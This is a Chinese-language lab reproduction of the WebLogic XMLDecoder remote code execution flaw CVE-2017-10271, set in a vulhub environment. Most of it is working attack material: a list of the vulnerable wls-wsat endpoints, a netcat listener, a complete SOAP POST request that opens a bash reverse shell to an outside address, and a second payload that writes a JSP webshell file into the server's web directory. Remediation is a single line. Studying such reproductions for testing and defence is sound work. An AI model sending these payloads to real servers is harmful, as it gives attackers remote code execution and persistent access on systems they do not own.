weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞描述
Weblogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行weblogic中间件的主机进行攻击。
受影响weblogic版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
漏洞复现
靶场环境为:vulhub weblogic CVE-2017-10271
1、访问地址:
2、判断是否存在漏洞
http://192.168.116.133:7001/wls-wsat/CoordinatorPortType11
其他可用url
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
若存在如图所示页面,即说明该漏洞可能存在
3、使用nc监听端口,构造POST数据包进行测试,反弹shell。
nc -lvvp 12345
发送数据包(其中反弹shell的语句,需要进行编码,否则解析XML时将出现格式错误)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.137.130/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
注意:此处要指定Content-Type:text/xml,否则会报415错误,如下图
成功反弹shell:
4、写入一句话木马
构造POST数据包
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"><string> <![CDATA[ <% out.print("test"); %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
bp发送一下数据包
访问test.jsp
漏洞修复
打补丁,升级版本